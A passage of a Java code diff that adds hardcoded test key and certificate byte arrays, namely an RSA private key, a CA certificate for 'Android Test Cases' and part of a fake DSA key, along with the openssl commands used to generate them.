+ (byte) 0xc3, (byte) 0x8e, (byte) 0x0f, (byte) 0x25, (byte) 0xeb, (byte) 0x08,
+ (byte) 0x2c, (byte) 0xdd, (byte) 0x1c, (byte) 0xcf, (byte) 0xff, (byte) 0x3b,
+ (byte) 0xde, (byte) 0xb6, (byte) 0xaa, (byte) 0x2a, (byte) 0xa9, (byte) 0xc4,
+ (byte) 0x8a, (byte) 0x24, (byte) 0x24, (byte) 0xe6, (byte) 0x29, (byte) 0x0d,
+ (byte) 0x98, (byte) 0x4c, (byte) 0x32, (byte) 0xa1, (byte) 0x7b, (byte) 0x23,
+ (byte) 0x2b, (byte) 0x42, (byte) 0x30, (byte) 0xee, (byte) 0x78, (byte) 0x08,
+ (byte) 0x47, (byte) 0xad, (byte) 0xf2, (byte) 0x96, (byte) 0xd5, (byte) 0xf1,
+ (byte) 0x62, (byte) 0x42, (byte) 0x2d, (byte) 0x35, (byte) 0x19, (byte) 0xb4,
+ (byte) 0x3c, (byte) 0xc9, (byte) 0xc3, (byte) 0x5f, (byte) 0x03, (byte) 0x16,
+ (byte) 0x3a, (byte) 0x23, (byte) 0xac, (byte) 0xcb, (byte) 0xce, (byte) 0x9e,
+ (byte) 0x51, (byte) 0x2e, (byte) 0x6d, (byte) 0x02, (byte) 0x03, (byte) 0x01,
+ (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x81, (byte) 0x80, (byte) 0x16,
+ (byte) 0x59, (byte) 0xc3, (byte) 0x24, (byte) 0x1d, (byte) 0x33, (byte) 0x98,
+ (byte) 0x9c, (byte) 0xc9, (byte) 0xc8, (byte) 0x2c, (byte) 0x88, (byte) 0xbf,
+ (byte) 0x0a, (byte) 0x01, (byte) 0xce, (byte) 0xfb, (byte) 0x34, (byte) 0x7a,
+ (byte) 0x58, (byte) 0x7a, (byte) 0xb0, (byte) 0xbf, (byte) 0xa6, (byte) 0xb2,
+ (byte) 0x60, (byte) 0xbe, (byte) 0x70, (byte) 0x21, (byte) 0xf5, (byte) 0xfc,
+ (byte) 0x85, (byte) 0x0d, (byte) 0x33, (byte) 0x58, (byte) 0xa1, (byte) 0xe5,
+ (byte) 0x09, (byte) 0x36, (byte) 0x84, (byte) 0xb2, (byte) 0x04, (byte) 0x0a,
+ (byte) 0x02, (byte) 0xd3, (byte) 0x88, (byte) 0x1f, (byte) 0x0c, (byte) 0x2b,
+ (byte) 0x1d, (byte) 0xe9, (byte) 0x3d, (byte) 0xe7, (byte) 0x79, (byte) 0xf9,
+ (byte) 0x32, (byte) 0x5c, (byte) 0x8a, (byte) 0x75, (byte) 0x49, (byte) 0x12,
+ (byte) 0xe4, (byte) 0x05, (byte) 0x26, (byte) 0xd4, (byte) 0x2e, (byte) 0x9e,
+ (byte) 0x1f, (byte) 0xcc, (byte) 0x54, (byte) 0xad, (byte) 0x33, (byte) 0x8d,
+ (byte) 0x99, (byte) 0x00, (byte) 0xdc, (byte) 0xf5, (byte) 0xb4, (byte) 0xa2,
+ (byte) 0x2f, (byte) 0xba, (byte) 0xe5, (byte) 0x62, (byte) 0x30, (byte) 0x6d,
+ (byte) 0xe6, (byte) 0x3d, (byte) 0xeb, (byte) 0x24, (byte) 0xc2, (byte) 0xdc,
+ (byte) 0x5f, (byte) 0xb7, (byte) 0x16, (byte) 0x35, (byte) 0xa3, (byte) 0x98,
+ (byte) 0x98, (byte) 0xa8, (byte) 0xef, (byte) 0xe8, (byte) 0xc4, (byte) 0x96,
+ (byte) 0x6d, (byte) 0x38, (byte) 0xab, (byte) 0x26, (byte) 0x6d, (byte) 0x30,
+ (byte) 0xc2, (byte) 0xa0, (byte) 0x44, (byte) 0xe4, (byte) 0xff, (byte) 0x7e,
+ (byte) 0xbe, (byte) 0x7c, (byte) 0x33, (byte) 0xa5, (byte) 0x10, (byte) 0xad,
+ (byte) 0xd7, (byte) 0x1e, (byte) 0x13, (byte) 0x20, (byte) 0xb3, (byte) 0x1f,
+ (byte) 0x41, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xf1, (byte) 0x89,
+ (byte) 0x07, (byte) 0x0f, (byte) 0xe8, (byte) 0xcf, (byte) 0xab, (byte) 0x13,
+ (byte) 0x2a, (byte) 0x8f, (byte) 0x88, (byte) 0x80, (byte) 0x11, (byte) 0x9a,
+ (byte) 0x79, (byte) 0xb6, (byte) 0x59, (byte) 0x3a, (byte) 0x50, (byte) 0x6e,
+ (byte) 0x57, (byte) 0x37, (byte) 0xab, (byte) 0x2a, (byte) 0xd2, (byte) 0xaa,
+ (byte) 0xd9, (byte) 0x72, (byte) 0x73, (byte) 0xff, (byte) 0x8b, (byte) 0x47,
+ (byte) 0x76, (byte) 0xdd, (byte) 0xdc, (byte) 0xf5, (byte) 0x97, (byte) 0x44,
+ (byte) 0x3a, (byte) 0x78, (byte) 0xbe, (byte) 0x17, (byte) 0xb4, (byte) 0x22,
+ (byte) 0x6f, (byte) 0xe5, (byte) 0x23, (byte) 0x70, (byte) 0x1d, (byte) 0x10,
+ (byte) 0x5d, (byte) 0xba, (byte) 0x16, (byte) 0x81, (byte) 0xf1, (byte) 0x45,
+ (byte) 0xce, (byte) 0x30, (byte) 0xb4, (byte) 0xab, (byte) 0x80, (byte) 0xe4,
+ (byte) 0x98, (byte) 0x31, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xda,
+ (byte) 0x82, (byte) 0x9d, (byte) 0x3f, (byte) 0xca, (byte) 0x2f, (byte) 0xe1,
+ (byte) 0xd4, (byte) 0x86, (byte) 0x77, (byte) 0x48, (byte) 0xa6, (byte) 0xab,
+ (byte) 0xab, (byte) 0x1c, (byte) 0x42, (byte) 0x5c, (byte) 0xd5, (byte) 0xc7,
+ (byte) 0x46, (byte) 0x59, (byte) 0x91, (byte) 0x3f, (byte) 0xfc, (byte) 0xcc,
+ (byte) 0xec, (byte) 0xc2, (byte) 0x40, (byte) 0x12, (byte) 0x2c, (byte) 0x8d,
+ (byte) 0x1f, (byte) 0xa2, (byte) 0x18, (byte) 0x88, (byte) 0xee, (byte) 0x82,
+ (byte) 0x4a, (byte) 0x5a, (byte) 0x5e, (byte) 0x88, (byte) 0x20, (byte) 0xe3,
+ (byte) 0x7b, (byte) 0xe0, (byte) 0xd8, (byte) 0x3a, (byte) 0x52, (byte) 0x9a,
+ (byte) 0x26, (byte) 0x6a, (byte) 0x04, (byte) 0xec, (byte) 0xe8, (byte) 0xb9,
+ (byte) 0x48, (byte) 0x40, (byte) 0xe1, (byte) 0xe1, (byte) 0x83, (byte) 0xa6,
+ (byte) 0x67, (byte) 0xa6, (byte) 0xfd, (byte) 0x02, (byte) 0x41, (byte) 0x00,
+ (byte) 0x89, (byte) 0x72, (byte) 0x3e, (byte) 0xb0, (byte) 0x90, (byte) 0xfd,
+ (byte) 0x4c, (byte) 0x0e, (byte) 0xd6, (byte) 0x13, (byte) 0x63, (byte) 0xcb,
+ (byte) 0xed, (byte) 0x38, (byte) 0x88, (byte) 0xb6, (byte) 0x79, (byte) 0xc4,
+ (byte) 0x33, (byte) 0x6c, (byte) 0xf6, (byte) 0xf8, (byte) 0xd8, (byte) 0xd0,
+ (byte) 0xbf, (byte) 0x9d, (byte) 0x35, (byte) 0xac, (byte) 0x69, (byte) 0xd2,
+ (byte) 0x2b, (byte) 0xc1, (byte) 0xf9, (byte) 0x24, (byte) 0x7b, (byte) 0xce,
+ (byte) 0xcd, (byte) 0xcb, (byte) 0xa7, (byte) 0xb2, (byte) 0x7a, (byte) 0x0a,
+ (byte) 0x27, (byte) 0x19, (byte) 0xc9, (byte) 0xaf, (byte) 0x0d, (byte) 0x21,
+ (byte) 0x89, (byte) 0x88, (byte) 0x7c, (byte) 0xad, (byte) 0x9e, (byte) 0x8d,
+ (byte) 0x47, (byte) 0x6d, (byte) 0x3f, (byte) 0xce, (byte) 0x7b, (byte) 0xa1,
+ (byte) 0x74, (byte) 0xf1, (byte) 0xa0, (byte) 0xa1, (byte) 0x02, (byte) 0x41,
+ (byte) 0x00, (byte) 0xd9, (byte) 0xa8, (byte) 0xf5, (byte) 0xfe, (byte) 0xce,
+ (byte) 0xe6, (byte) 0x77, (byte) 0x6b, (byte) 0xfe, (byte) 0x2d, (byte) 0xe0,
+ (byte) 0x1e, (byte) 0xb6, (byte) 0x2e, (byte) 0x12, (byte) 0x4e, (byte) 0x40,
+ (byte) 0xaf, (byte) 0x6a, (byte) 0x7b, (byte) 0x37, (byte) 0x49, (byte) 0x2a,
+ (byte) 0x96, (byte) 0x25, (byte) 0x83, (byte) 0x49, (byte) 0xd4, (byte) 0x0c,
+ (byte) 0xc6, (byte) 0x78, (byte) 0x25, (byte) 0x24, (byte) 0x90, (byte) 0x90,
+ (byte) 0x06, (byte) 0x15, (byte) 0x9e, (byte) 0xfe, (byte) 0xf9, (byte) 0xdf,
+ (byte) 0x5b, (byte) 0xf3, (byte) 0x7e, (byte) 0x38, (byte) 0x70, (byte) 0xeb,
+ (byte) 0x57, (byte) 0xd0, (byte) 0xd9, (byte) 0xa7, (byte) 0x0e, (byte) 0x14,
+ (byte) 0xf7, (byte) 0x95, (byte) 0x68, (byte) 0xd5, (byte) 0xc8, (byte) 0xab,
+ (byte) 0x9d, (byte) 0x3a, (byte) 0x2b, (byte) 0x51, (byte) 0xf9, (byte) 0x02,
+ (byte) 0x41, (byte) 0x00, (byte) 0x96, (byte) 0xdf, (byte) 0xe9, (byte) 0x67,
+ (byte) 0x6c, (byte) 0xdc, (byte) 0x90, (byte) 0x14, (byte) 0xb4, (byte) 0x1d,
+ (byte) 0x22, (byte) 0x33, (byte) 0x4a, (byte) 0x31, (byte) 0xc1, (byte) 0x9d,
+ (byte) 0x2e, (byte) 0xff, (byte) 0x9a, (byte) 0x2a, (byte) 0x95, (byte) 0x4b,
+ (byte) 0x27, (byte) 0x74, (byte) 0xcb, (byte) 0x21, (byte) 0xc3, (byte) 0xd2,
+ (byte) 0x0b, (byte) 0xb2, (byte) 0x46, (byte) 0x87, (byte) 0xf8, (byte) 0x28,
+ (byte) 0x01, (byte) 0x8b, (byte) 0xd8, (byte) 0xb9, (byte) 0x4b, (byte) 0xcd,
+ (byte) 0x9a, (byte) 0x96, (byte) 0x41, (byte) 0x0e, (byte) 0x36, (byte) 0x6d,
+ (byte) 0x40, (byte) 0x42, (byte) 0xbc, (byte) 0xd9, (byte) 0xd3, (byte) 0x7b,
+ (byte) 0xbc, (byte) 0xa7, (byte) 0x92, (byte) 0x90, (byte) 0xdd, (byte) 0xa1,
+ (byte) 0x9c, (byte) 0xce, (byte) 0xa1, (byte) 0x87, (byte) 0x11, (byte) 0x51
+ };
+
+ /**
+ * Generated from above and converted with:
+ *
+ * openssl x509 -outform d -in cacert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
+ */
+ public static final byte[] caCertificate = {
+ (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0xce, (byte) 0x30, (byte) 0x82,
+ (byte) 0x02, (byte) 0x37, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
+ (byte) 0x02, (byte) 0x02, (byte) 0x09, (byte) 0x00, (byte) 0xe1, (byte) 0x6a,
+ (byte) 0xa2, (byte) 0xf4, (byte) 0x2e, (byte) 0x55, (byte) 0x48, (byte) 0x0a,
+ (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
+ (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
+ (byte) 0x05, (byte) 0x05, (byte) 0x00, (byte) 0x30, (byte) 0x4f, (byte) 0x31,
+ (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+ (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53,
+ (byte) 0x31, (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03,
+ (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43,
+ (byte) 0x41, (byte) 0x31, (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06,
+ (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d,
+ (byte) 0x4d, (byte) 0x6f, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61,
+ (byte) 0x69, (byte) 0x6e, (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65,
+ (byte) 0x77, (byte) 0x31, (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06,
+ (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12,
+ (byte) 0x41, (byte) 0x6e, (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69,
+ (byte) 0x64, (byte) 0x20, (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74,
+ (byte) 0x20, (byte) 0x43, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73,
+ (byte) 0x30, (byte) 0x1e, (byte) 0x17, (byte) 0x0d, (byte) 0x31, (byte) 0x32,
+ (byte) 0x30, (byte) 0x38, (byte) 0x31, (byte) 0x34, (byte) 0x31, (byte) 0x36,
+ (byte) 0x35, (byte) 0x35, (byte) 0x34, (byte) 0x34, (byte) 0x5a, (byte) 0x17,
+ (byte) 0x0d, (byte) 0x32, (byte) 0x32, (byte) 0x30, (byte) 0x38, (byte) 0x31,
+ (byte) 0x32, (byte) 0x31, (byte) 0x36, (byte) 0x35, (byte) 0x35, (byte) 0x34,
+ (byte) 0x34, (byte) 0x5a, (byte) 0x30, (byte) 0x4f, (byte) 0x31, (byte) 0x0b,
+ (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+ (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53, (byte) 0x31,
+ (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+ (byte) 0x04, (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43, (byte) 0x41,
+ (byte) 0x31, (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06, (byte) 0x03,
+ (byte) 0x55, (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d, (byte) 0x4d,
+ (byte) 0x6f, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61, (byte) 0x69,
+ (byte) 0x6e, (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65, (byte) 0x77,
+ (byte) 0x31, (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06, (byte) 0x03,
+ (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12, (byte) 0x41,
+ (byte) 0x6e, (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64,
+ (byte) 0x20, (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x20,
+ (byte) 0x43, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73, (byte) 0x30,
+ (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
+ (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
+ (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x03,
+ (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30, (byte) 0x81, (byte) 0x89,
+ (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xa3, (byte) 0x72,
+ (byte) 0xab, (byte) 0xd0, (byte) 0xe4, (byte) 0xad, (byte) 0x2f, (byte) 0xe7,
+ (byte) 0xe2, (byte) 0x79, (byte) 0x07, (byte) 0x36, (byte) 0x3d, (byte) 0x0c,
+ (byte) 0x8d, (byte) 0x42, (byte) 0x9a, (byte) 0x0a, (byte) 0x33, (byte) 0x64,
+ (byte) 0xb3, (byte) 0xcd, (byte) 0xb2, (byte) 0xd7, (byte) 0x3a, (byte) 0x42,
+ (byte) 0x06, (byte) 0x77, (byte) 0x45, (byte) 0x29, (byte) 0xe9, (byte) 0xcb,
+ (byte) 0xb7, (byte) 0x4a, (byte) 0xd6, (byte) 0xee, (byte) 0xad, (byte) 0x01,
+ (byte) 0x91, (byte) 0x9b, (byte) 0x0c, (byte) 0x59, (byte) 0xa1, (byte) 0x03,
+ (byte) 0xfa, (byte) 0xf0, (byte) 0x5a, (byte) 0x7c, (byte) 0x4f, (byte) 0xf7,
+ (byte) 0x8d, (byte) 0x36, (byte) 0x0f, (byte) 0x1f, (byte) 0x45, (byte) 0x7d,
+ (byte) 0x1b, (byte) 0x31, (byte) 0xa1, (byte) 0x35, (byte) 0x0b, (byte) 0x00,
+ (byte) 0xed, (byte) 0x7a, (byte) 0xb6, (byte) 0xc8, (byte) 0x4e, (byte) 0xa9,
+ (byte) 0x86, (byte) 0x4c, (byte) 0x7b, (byte) 0x99, (byte) 0x57, (byte) 0x41,
+ (byte) 0x12, (byte) 0xef, (byte) 0x6b, (byte) 0xbc, (byte) 0x3d, (byte) 0x60,
+ (byte) 0xf2, (byte) 0x99, (byte) 0x1a, (byte) 0xcd, (byte) 0xed, (byte) 0x56,
+ (byte) 0xa4, (byte) 0xe5, (byte) 0x36, (byte) 0x9f, (byte) 0x24, (byte) 0x1f,
+ (byte) 0xdc, (byte) 0x89, (byte) 0x40, (byte) 0xc8, (byte) 0x99, (byte) 0x92,
+ (byte) 0xab, (byte) 0x4a, (byte) 0xb5, (byte) 0x61, (byte) 0x45, (byte) 0x62,
+ (byte) 0xff, (byte) 0xa3, (byte) 0x45, (byte) 0x65, (byte) 0xaf, (byte) 0xf6,
+ (byte) 0x27, (byte) 0x30, (byte) 0x51, (byte) 0x0e, (byte) 0x0e, (byte) 0xeb,
+ (byte) 0x79, (byte) 0x0c, (byte) 0xbe, (byte) 0xb3, (byte) 0x0a, (byte) 0x6f,
+ (byte) 0x29, (byte) 0x06, (byte) 0xdc, (byte) 0x2f, (byte) 0x6b, (byte) 0x51,
+ (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0xa3,
+ (byte) 0x81, (byte) 0xb1, (byte) 0x30, (byte) 0x81, (byte) 0xae, (byte) 0x30,
+ (byte) 0x1d, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x0e,
+ (byte) 0x04, (byte) 0x16, (byte) 0x04, (byte) 0x14, (byte) 0x33, (byte) 0x05,
+ (byte) 0xee, (byte) 0xfe, (byte) 0x6f, (byte) 0x60, (byte) 0xc7, (byte) 0xf9,
+ (byte) 0xa9, (byte) 0xd2, (byte) 0x73, (byte) 0x5c, (byte) 0x8f, (byte) 0x6d,
+ (byte) 0xa2, (byte) 0x2f, (byte) 0x97, (byte) 0x8e, (byte) 0x5d, (byte) 0x51,
+ (byte) 0x30, (byte) 0x7f, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d,
+ (byte) 0x23, (byte) 0x04, (byte) 0x78, (byte) 0x30, (byte) 0x76, (byte) 0x80,
+ (byte) 0x14, (byte) 0x33, (byte) 0x05, (byte) 0xee, (byte) 0xfe, (byte) 0x6f,
+ (byte) 0x60, (byte) 0xc7, (byte) 0xf9, (byte) 0xa9, (byte) 0xd2, (byte) 0x73,
+ (byte) 0x5c, (byte) 0x8f, (byte) 0x6d, (byte) 0xa2, (byte) 0x2f, (byte) 0x97,
+ (byte) 0x8e, (byte) 0x5d, (byte) 0x51, (byte) 0xa1, (byte) 0x53, (byte) 0xa4,
+ (byte) 0x51, (byte) 0x30, (byte) 0x4f, (byte) 0x31, (byte) 0x0b, (byte) 0x30,
+ (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06,
+ (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53, (byte) 0x31, (byte) 0x0b,
+ (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+ (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43, (byte) 0x41, (byte) 0x31,
+ (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+ (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d, (byte) 0x4d, (byte) 0x6f,
+ (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61, (byte) 0x69, (byte) 0x6e,
+ (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65, (byte) 0x77, (byte) 0x31,
+ (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+ (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12, (byte) 0x41, (byte) 0x6e,
+ (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64, (byte) 0x20,
+ (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x20, (byte) 0x43,
+ (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73, (byte) 0x82, (byte) 0x09,
+ (byte) 0x00, (byte) 0xe1, (byte) 0x6a, (byte) 0xa2, (byte) 0xf4, (byte) 0x2e,
+ (byte) 0x55, (byte) 0x48, (byte) 0x0a, (byte) 0x30, (byte) 0x0c, (byte) 0x06,
+ (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x13, (byte) 0x04, (byte) 0x05,
+ (byte) 0x30, (byte) 0x03, (byte) 0x01, (byte) 0x01, (byte) 0xff, (byte) 0x30,
+ (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48,
+ (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x05,
+ (byte) 0x05, (byte) 0x00, (byte) 0x03, (byte) 0x81, (byte) 0x81, (byte) 0x00,
+ (byte) 0x8c, (byte) 0x30, (byte) 0x42, (byte) 0xfa, (byte) 0xeb, (byte) 0x1a,
+ (byte) 0x26, (byte) 0xeb, (byte) 0xda, (byte) 0x56, (byte) 0x32, (byte) 0xf2,
+ (byte) 0x9d, (byte) 0xa5, (byte) 0x24, (byte) 0xd8, (byte) 0x3a, (byte) 0xda,
+ (byte) 0x30, (byte) 0xa6, (byte) 0x8b, (byte) 0x46, (byte) 0xfe, (byte) 0xfe,
+ (byte) 0xdb, (byte) 0xf1, (byte) 0xe6, (byte) 0xe1, (byte) 0x7c, (byte) 0x1b,
+ (byte) 0xe7, (byte) 0x77, (byte) 0x00, (byte) 0xa1, (byte) 0x1c, (byte) 0x19,
+ (byte) 0x17, (byte) 0x73, (byte) 0xb0, (byte) 0xf0, (byte) 0x9d, (byte) 0xf3,
+ (byte) 0x4f, (byte) 0xb6, (byte) 0xbc, (byte) 0xc7, (byte) 0x47, (byte) 0x85,
+ (byte) 0x2a, (byte) 0x4a, (byte) 0xa1, (byte) 0xa5, (byte) 0x58, (byte) 0xf5,
+ (byte) 0xc5, (byte) 0x1a, (byte) 0x51, (byte) 0xb1, (byte) 0x04, (byte) 0x80,
+ (byte) 0xee, (byte) 0x3a, (byte) 0xec, (byte) 0x2f, (byte) 0xe1, (byte) 0xfd,
+ (byte) 0x58, (byte) 0xeb, (byte) 0xed, (byte) 0x82, (byte) 0x9e, (byte) 0x38,
+ (byte) 0xa3, (byte) 0x24, (byte) 0x75, (byte) 0xf7, (byte) 0x3e, (byte) 0xc2,
+ (byte) 0xc5, (byte) 0x27, (byte) 0xeb, (byte) 0x6f, (byte) 0x7b, (byte) 0x50,
+ (byte) 0xda, (byte) 0x43, (byte) 0xdc, (byte) 0x3b, (byte) 0x0b, (byte) 0x6f,
+ (byte) 0x78, (byte) 0x8f, (byte) 0xb0, (byte) 0x66, (byte) 0xe1, (byte) 0x12,
+ (byte) 0x87, (byte) 0x5f, (byte) 0x97, (byte) 0x7b, (byte) 0xca, (byte) 0x14,
+ (byte) 0x79, (byte) 0xf7, (byte) 0xe8, (byte) 0x6c, (byte) 0x72, (byte) 0xdb,
+ (byte) 0x91, (byte) 0x65, (byte) 0x17, (byte) 0x54, (byte) 0xe0, (byte) 0x74,
+ (byte) 0x1d, (byte) 0xac, (byte) 0x47, (byte) 0x04, (byte) 0x12, (byte) 0xe0,
+ (byte) 0xc3, (byte) 0x66, (byte) 0x19, (byte) 0x05, (byte) 0x2e, (byte) 0x7e,
+ (byte) 0xf1, (byte) 0x61
+ };
+ }
+
+ /*
+ * The keys and certificates below are generated with:
+ *
+ * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
+ * openssl dsaparam -out dsaparam.pem 1024
+ * openssl req -newkey dsa:dsaparam.pem -keyout userkey.pem -nodes -days 3650 -out userkey.req
+ * mkdir -p demoCA/newcerts
+ * touch demoCA/index.txt
+ * echo "01" > demoCA/serial
+ * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
+ */
+ public static class FAKE_DSA_1 {
+ /**
+ * Generated from above and converted with: openssl pkcs8 -topk8 -outform d
+ * -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
+ */
+ public static final byte[] privateKey = {
+ (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x4c, (byte) 0x02, (byte) 0x01,
+ (byte) 0x00, (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x2c, (byte) 0x06,
+ (byte) 0x07, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0xce, (byte) 0x38,
+ (byte) 0x04, (byte) 0x01, (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x1f,
+ (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xb3, (byte) 0x23,
+ (byte) 0xf7, (byte) 0x86, (byte) 0xbd, (byte) 0x3b, (byte) 0x86, (byte) 0xcc,
+ (byte) 0xc3, (byte) 0x91, (byte) 0xc0, (byte) 0x30, (byte) 0x32, (byte) 0x02,
+ (byte) 0x47, (byte) 0x35, (byte) 0x01, (byte) 0xef, (byte) 0xee, (byte) 0x98,
+ (byte) 0x13, (byte) 0x56, (byte) 0x49, (byte) 0x47, (byte) 0xb5, (byte) 0x20,
+ (byte) 0xa8, (byte) 0x60, (byte) 0xcb, (byte) 0xc0, (byte) 0xd5, (byte) 0x77,
+ (byte) 0xc1, (byte) 0x69, (byte) 0xcd, (byte) 0x18, (byte) 0x34, (byte) 0x92,
+ (byte) 0xf2, (byte) 0x6a, (byte) 0x2a, (byte) 0x10, (byte) 0x59, (byte) 0x1c,
+ (byte) 0x91, (byte) 0x20, (byte) 0x51, (byte) 0xca, (byte) 0x37, (byte) 0xb2,
+ (byte) 0x87, (byte) 0xa6, (byte) 0x8a, (byte) 0x02, (byte) 0xfd, (byte) 0x45,
+ (byte) 0x46, (byte) 0xf9, (byte) 0x76, (byte) 0xb1, (byte) 0x35, (byte) 0x38,
+ (byte) 0x8d, (byte) 0xff, (byte) 0x4c, (byte) 0x5d, (byte) 0x75, (byte) 0x8f,
+ (byte) 0x66, (byte) 0x15, (byte) 0x7d, (byte) 0x7b, (byte) 0xda, (byte) 0xdb,
+ (byte) 0x57, (byte) 0x39, (byte) 0xff, (byte) 0x91, (byte) 0x3f, (byte) 0xdd,
+ (byte) 0xe2, (byte) 0xb4, (byte) 0x22, (byte) 0x60, (byte) 0x4c, (byte) 0x32,
+ (byte) 0x3b, (byte) 0x9d, (byte) 0x34, (byte) 0x9f, (byte) 0xb9, (byte) 0x5d,
+ (byte) 0x75, (byte) 0xb9, (byte) 0xd3, (byte) 0x7f, (byte) 0x11, (byte) 0xba,
+ (byte) 0xb7, (byte) 0xc8, (byte) 0x32, (byte) 0xc6, (byte) 0xce, (byte) 0x71,
+ (byte) 0x91, (byte) 0xd3, (byte) 0x32, (byte) 0xaf, (byte) 0x4d, (byte) 0x7e,
+ (byte) 0x7c, (byte) 0x15, (byte) 0xf7, (byte) 0x71, (byte) 0x2c, (byte) 0x52,
+ (byte) 0x65, (byte) 0x4d, (byte) 0xa9, (byte) 0x81, (byte) 0x25, (byte) 0x35,
+ (byte) 0xce, (byte) 0x0b, (byte) 0x5b, (byte) 0x56, (byte) 0xfe, (byte) 0xf1,
+ (byte) 0x02, (byte) 0x15, (byte) 0x00, (byte) 0xeb, (byte) 0x4e, (byte) 0x7f,
+ (byte) 0x7a, (byte) 0x31, (byte) 0xb3, (byte) 0x7d, (byte) 0x8d, (byte) 0xb2,
+ (byte) 0xf7, (byte) 0xaf, (byte) 0xad, (byte) 0xb1, (byte) 0x42, (byte) 0x92,
+ (byte) 0xf3, (byte) 0x6c, (byte) 0xe4, (byte) 0xed, (byte) 0x8b, (byte) 0x02,
+ (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0x81, (byte) 0xc8, (byte) 0x36,
+ (byte) 0x48, (byte) 0xdb, (byte) 0x71, (byte) 0x2b, (byte) 0x91, (byte) 0xce,
+ (byte) 0x6d, (byte) 0xbc, (byte) 0xb8, (byte) 0xf9, (byte) 0xcb, (byte) 0x50,
+ (byte) 0x91, (byte) 0x10, (byte) 0x8a, (byte) 0xf8, (byte) 0x37, (byte) 0x50,
